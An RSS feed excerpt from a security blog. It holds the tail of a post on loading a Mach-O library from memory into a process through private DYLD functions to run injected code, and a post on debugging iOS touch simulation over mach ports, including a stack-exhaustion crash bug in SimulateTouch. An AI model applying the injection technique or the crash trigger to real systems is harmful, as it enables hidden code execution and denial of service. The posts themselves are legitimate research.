        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fatFindBest&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;memStartAsFat&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fileOffset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fileLength&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;mem&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fileOffset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;len&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fileLength&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Next is the easy part. This is where we force the loaded Mach-O file to join the process as a proper dynamic library.&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;    &lt;span class=&quot;k&quot;&gt;typedef&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;registerInterposing&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;// `vtable for ImageLoaderMachOCompressed
&lt;/span&gt;    &lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;registerInterposing&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;uint8_t&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;***&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;image&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;image&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Because we are not implementing this in C++, we don’t get the nice language abstractions to class objects. So, instead we have to force an instance call. Remember, back in the day, C++ was implemented as C++ to C translator, so we know this has to be possible.&lt;/p&gt;

&lt;p&gt;We dereference the image object to obtain the &lt;code class=&quot;highlighter-rouge&quot;&gt;vtable&lt;/code&gt;, we then dereference again at an offset to get the function of our dreams. We cast the pointer to a function pointer and call it with the pointer to the object as the first parameter. C++ functions (when looked through the eyes of C) expect the first parameter to the &lt;code class=&quot;highlighter-rouge&quot;&gt;this&lt;/code&gt; pointer.&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;highlighter-rouge&quot;&gt;registerInterposing&lt;/code&gt; is a function that is called when we inject libraries into the process by using the environment variable (i.e. &lt;code class=&quot;highlighter-rouge&quot;&gt;DYLD_INSERT_LIBRARIES&lt;/code&gt;). Using this private interface activates the internal workings of DYLD to load libraries properly to be used by the rest of the process.&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;    &lt;span class=&quot;n&quot;&gt;foo_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;foo&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dlsym&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;RTLD_DEFAULT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;foo&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;// call the desired procedure.
&lt;/span&gt;    &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;foo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Finally, we execute our library function to kick off the maliciously injected code.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Using functions &lt;code class=&quot;highlighter-rouge&quot;&gt;loadFromMemory&lt;/code&gt; and &lt;code class=&quot;highlighter-rouge&quot;&gt;registerInterposing&lt;/code&gt; seems simple but it was not obvious without a fairly in-depth analysis of DYLD. This method is useful when the alternatives might not be applicable.&lt;/p&gt;

&lt;hr /&gt;
&lt;p&gt;[1] Objective-C runtime method (https://s3.amazonaws.com/s3.synack.com/infiltrate.pdf slide 29)&lt;/p&gt;

</description>
        <pubDate>Mon, 14 Nov 2016 00:00:00 +0000</pubDate>
        <link>http://debugtrap.com/2016/11/14/library-memory-loading/</link>
        <guid isPermaLink="true">http://debugtrap.com/2016/11/14/library-memory-loading/</guid>
      </item>
     
    
     
      <item>
        <title>Some folks lost their touch</title>
        <description>&lt;p&gt;In an earlier post, I introduced &lt;a href=&quot;http://debugtrap.com/2016/03/26/automating-ui-testing/&quot;&gt;CHAOTICMARCH&lt;/a&gt; - simple tool for simulating a user’s interaction with an App for blackbox testing. The tool worked well and has helped me a lot with testing. However, all was not well. Every now and then, too often for my comfort, the tool’s requests for touch were getting ignored. For example, CHAOTICMARCH would find a button and try to click it. The event would get logged and the little circle would show up on the screen. However, the App would ignore the request as if nothing happened. This become very frustrating to me and I was determined to find the root cause. Investigating this behavior took me down a deep rabbit hole. To find my way out, I built LLDB scripts, learned about iOS IPC and read lots of code. With this post, I would like to share my insights, lessons and scripts.&lt;/p&gt;

&lt;h2 id=&quot;not-so-tldr&quot;&gt;Not so TL;DR;&lt;/h2&gt;

&lt;p&gt;iPhones are relatively small devices and, to provide a smooth user experience, Apple has to be really careful with task scheduling. Prioritized task queues are used for this. The queuing system is nicely explained in the &lt;a href=&quot;http://bou.io/RunRunLoopRun.html&quot;&gt;Run, RunLoop, Run&lt;/a&gt; blog post by Nicolas Bouilleaud.&lt;/p&gt;

&lt;p&gt;I had this missing touch problem to solve. After doing a lot of debugging and scripting, I eventually realized that the events were being ignored because the device was busy animating the fading circles. These circles are used by CHAOTICMARCH to show where the clicks have occurred. This theory was validated by reordering drawing and clicking events.&lt;/p&gt;

&lt;p&gt;In the process of analyzing and debugging, I built a sniffer for mach ports - &lt;a href=&quot;https://github.com/nologic/machshark&quot;&gt;machshark&lt;/a&gt;. Then I found a mild bug in the simulate touch library that could be used to crash &lt;code class=&quot;highlighter-rouge&quot;&gt;backboardd&lt;/code&gt; which will cause &lt;code class=&quot;highlighter-rouge&quot;&gt;SpringBoard&lt;/code&gt; to restart.&lt;/p&gt;

&lt;p&gt;The rest of this write up is about how I collected the mach messages and analyzed to confirm that the IPC mechanism is working as expected.&lt;/p&gt;

&lt;h2 id=&quot;where-is-the-touch&quot;&gt;Where is the touch?&lt;/h2&gt;
&lt;p&gt;It’s important to note that the quick solution mentioned in TL;DR; was not obvious initially. So, the first thing I did was to start reversing the &lt;code class=&quot;highlighter-rouge&quot;&gt;libsimulatetouch&lt;/code&gt; library. My hope was that the more I learn about the library internals the more I will understand its properties. The source is in the &lt;a href=&quot;https://github.com/iolate/SimulateTouch&quot;&gt;iolate/SimulateTouch&lt;/a&gt; repository.&lt;/p&gt;

&lt;p&gt;There is a “client” side, which is the application that wants to trigger an event - such as &lt;code class=&quot;highlighter-rouge&quot;&gt;/sbin/stouch&lt;/code&gt;, and there is the “server” side. The server side is the injected DYLIB within the &lt;code class=&quot;highlighter-rouge&quot;&gt;backboardd&lt;/code&gt; process that actually generates the HID events on behalf of the client. The client library is the &lt;code class=&quot;highlighter-rouge&quot;&gt;libsimulatetouch.dylib&lt;/code&gt; - implemented by &lt;a href=&quot;https://github.com/iolate/SimulateTouch/blob/master/STLibrary.mm&quot;&gt;STLibrary.mm&lt;/a&gt; and the server is &lt;code class=&quot;highlighter-rouge&quot;&gt;SimulateTouch.dylib&lt;/code&gt; mobile substrate library - implemented by &lt;a href=&quot;https://github.com/iolate/SimulateTouch/blob/master/SimulateTouch.mm&quot;&gt;SimulateTouch.mm&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The communications between the client and the server are via &lt;a href=&quot;http://www.nongnu.org/hurdextras/ipc_guide/mach_ipc_basic_concepts.html&quot;&gt;mach ports&lt;/a&gt;, the goto IPC mechanism of iOS and OS X. In concept, mach ports are very basic. A message is sent on a port object (something like a socket), a receiver on the other side responds on the same port. Very similar to UDP with an added benefit of being synchronous. When &lt;code class=&quot;highlighter-rouge&quot;&gt;mach_msg&lt;/code&gt; function returns, the response will be in the client supplied response buffer. The basic &lt;code class=&quot;highlighter-rouge&quot;&gt;mach_msg&lt;/code&gt; function is quite primitive and requires quite a lot of infrastructure to use properly. So, it’s natural that there are several higher level IPC abstractions built on top of this mechanisms. Ian Beer does a great job summarizing them in his &lt;a href=&quot;https://thecyberwire.com/events/docs/IanBeer_JSS_Slides.pdf&quot;&gt;Auditing and Exploiting
Apple IPC&lt;/a&gt; talk.&lt;/p&gt;

&lt;p&gt;Last thing about these mach messages. Services like the touch server will start listing ports which clients could look up via &lt;a href=&quot;http://opensource.apple.com//source/launchd/launchd-328/launchd/src/libbootstrap.c&quot;&gt;bootstrap_lookup&lt;/a&gt; function calls. They work similar to DNS where the client specifies a name and receives a numeric port value. The touch library specifically uses the &lt;code class=&quot;highlighter-rouge&quot;&gt;CFMessagePort&lt;/code&gt; abstraction for IPC which is explained very nicely in the &lt;a href=&quot;http://ddeville.me/2015/02/interprocess-communication-on-ios-with-mach-messages&quot;&gt;Interprocess communication on iOS with Mach messages&lt;/a&gt; blog post by Damien DeVille. The libsimulatetouch client library uses the &lt;code class=&quot;highlighter-rouge&quot;&gt;CFMessagePortSendRequest&lt;/code&gt; function to send messages to the server side.&lt;/p&gt;

&lt;h2 id=&quot;sniffing-the-ipc&quot;&gt;Sniffing the IPC&lt;/h2&gt;
&lt;p&gt;The problem we are trying solve is the mystery of why touch events have been disappearing. My first intuition was that perhaps these port messages were not getting to the server for some reason. Probably not because the kernel was messing up. But, likely because either the client wasn’t sending the messages or the server wasn’t processing them. So, I’ve decided to sniff the messages in the same way that I would with network traffic. After much googling, I found almost nothing for sniffing mach messages except for an old blog post about &lt;a href=&quot;http://blog.wuntee.sexy/CVE-2015-3795&quot;&gt;mach_shark&lt;/a&gt; which unfortunately was not released (and, on the last check the blog site was down – here’s a &lt;a href=&quot;http://web.archive.org/web/20160413172707/http://blog.wuntee.sexy/CVE-2015-3795/&quot;&gt;web archive link&lt;/a&gt;).&lt;/p&gt;

&lt;h3 id=&quot;what-are-we-looking-for&quot;&gt;What are we looking for?&lt;/h3&gt;
&lt;p&gt;What I’m looking for are the the messages that are sent to a port by name &lt;code class=&quot;highlighter-rouge&quot;&gt;kr.iolate.simulatetouch&lt;/code&gt;. These messages have the following structure:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;typedef&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;enum&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;// sent as part of the 'type' field below
&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;STTouchMove&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;STTouchDown&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;STTouchUp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;// For these types, (int)point_x denotes button type
&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;STButtonUp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;STButtonDown&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;STTouchType&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;typedef&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;       &lt;span class=&quot;c1&quot;&gt;// STTouchType values (Up, down, move, etc)
&lt;/span&gt;    &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;index&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;      &lt;span class=&quot;c1&quot;&gt;// pathIndex holder in message
&lt;/span&gt;    &lt;span class=&quot;kt&quot;&gt;float&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;point_x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;// X coordinate
&lt;/span&gt;    &lt;span class=&quot;kt&quot;&gt;float&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;point_y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;// Y coordinate
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;STEvent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Super simple messages! Just 16 bytes long. As we mentioned earlier, each call to send a message returns with a response. The response for each of the client’s request will be an integer which gives the path index. The path index is used to identify one continuous touch sequence. For example, if I request a touch DOWN, I will get an ID. Then I will use this ID to issue a touch UP which could be at a different location. The size of the response message is four bytes. The path index in necessary to support multi-finger capability i.e. a pinch zoom.&lt;/p&gt;

&lt;p&gt;The message processing pattern is very simple, &lt;a href=&quot;https://github.com/iolate/SimulateTouch/blob/master/SimulateTouch.mm&quot;&gt;SimulateTouch.mm&lt;/a&gt;:&lt;/p&gt;

&lt;div class=&quot;language-objective_c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;CFDataRef&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;messageCallBack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;CFMessagePortRef&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;local&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; 
                                 &lt;span class=&quot;n&quot;&gt;SInt32&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;msgid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; 
                                 &lt;span class=&quot;n&quot;&gt;CFDataRef&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cfData&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; 
                                 &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;info&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
   &lt;span class=&quot;p&quot;&gt;...&lt;/span&gt;
   &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pathIndex&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;touch&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;index&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
   
   &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pathIndex&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;pathIndex&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;getExtraIndexNumber&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
   &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
   
   &lt;span class=&quot;n&quot;&gt;SimulateTouchEvent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;port&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pathIndex&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;touch&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;POINT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;touch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
   
   &lt;span class=&quot;p&quot;&gt;...&lt;/span&gt;             
   
   &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;CFDataRef&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)[[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;NSData&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;alloc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;initWithBytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pathIndex&lt;/span&gt; 
                                     &lt;span class=&quot;nf&quot;&gt;length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;sizeof&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pathIndex&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)];&lt;/span&gt;
   
   &lt;span class=&quot;p&quot;&gt;...&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;p&quot;&gt;...&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;CFMessagePortRef&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;local&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;CFMessagePortCreateLocal&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; 
                            &lt;span class=&quot;n&quot;&gt;CFSTR&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;MACH_PORT_NAME&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; 
                            &lt;span class=&quot;n&quot;&gt;messageCallBack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;p&quot;&gt;...&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;CFRunLoopSourceRef&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;source&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;CFMessagePortCreateRunLoopSource&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
                                  &lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;local&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;CFRunLoopAddSource&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;CFRunLoopGetCurrent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt; 
                   &lt;span class=&quot;n&quot;&gt;source&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;kCFRunLoopDefaultMode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;p&quot;&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The server which is a library that is injected into &lt;code class=&quot;highlighter-rouge&quot;&gt;backboardd&lt;/code&gt; will start a local port and register a name to the port. Then it will use the CF abstraction to specify a callback function for the messages it receives. Once a message is received, the server will trigger the event then it will allocate a path index and return that number to the client. The client will be blocked until the message is returned. Quite a simple and common pattern for processing messages.&lt;/p&gt;

&lt;h3 id=&quot;tangent-the-bug&quot;&gt;Tangent: The bug&lt;/h3&gt;
&lt;p&gt;Let’s go on a little tangent. While analyzing this code, I noticed that there is a bug in the path index allocation procedure. &lt;code class=&quot;highlighter-rouge&quot;&gt;getExtraIndexNumber&lt;/code&gt; function works in a funny way.&lt;/p&gt;

&lt;div class=&quot;language-objective_c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;getExtraIndexNumber&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;arc4random&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;14&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;r&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;//except 0
&lt;/span&gt;    
    &lt;span class=&quot;n&quot;&gt;NSString&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pin&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Int2String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;([[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;STTouches&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;allKeys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;containsObject&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;getExtraIndexNumber&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The function will get a random number between zero and thirteen, inclusive. If that path was already allocated, the function will attempt to get another number, randomly (!), by calling itself recursively. Who does that?! Maybe, this is just some remnants of old code.&lt;/p&gt;

&lt;p&gt;Basically, this means that if I call a whole bunch of touch down events, I can allocate all fourteen paths and &lt;code class=&quot;highlighter-rouge&quot;&gt;getExtraIndexNumber&lt;/code&gt; will be forced to run out of stack space as it looks for an unallocated path index. The impact is that &lt;code class=&quot;highlighter-rouge&quot;&gt;backboardd&lt;/code&gt; will crash forcing &lt;code class=&quot;highlighter-rouge&quot;&gt;SpringBoard&lt;/code&gt; to restart. I suppose you can call it a DoS attack, but the significance is so mild. In order to trigger this you’d have to be running within a process on a jailbroken device with the simulate touch library installed – if that code is malicious, you’ve got bigger problems to deal with than some crashed GUI service.&lt;/p&gt;

&lt;h3 id=&quot;finding-the-port&quot;&gt;Finding the port&lt;/h3&gt;
&lt;p&gt;Moving on! The first thing we need to do is find the port number. Why do we need this number? Apps will usually use many ports. Particularly, GUI libraries are heavy users. So, knowing the port number isolates your collection to the messages you’re interested in. Also, every time the App runs, port numbers will be different. Even though the name remains the same, when the ports are created, the numbers are allocated dynamically. So, we need to know the mapping at runtime.&lt;/p&gt;

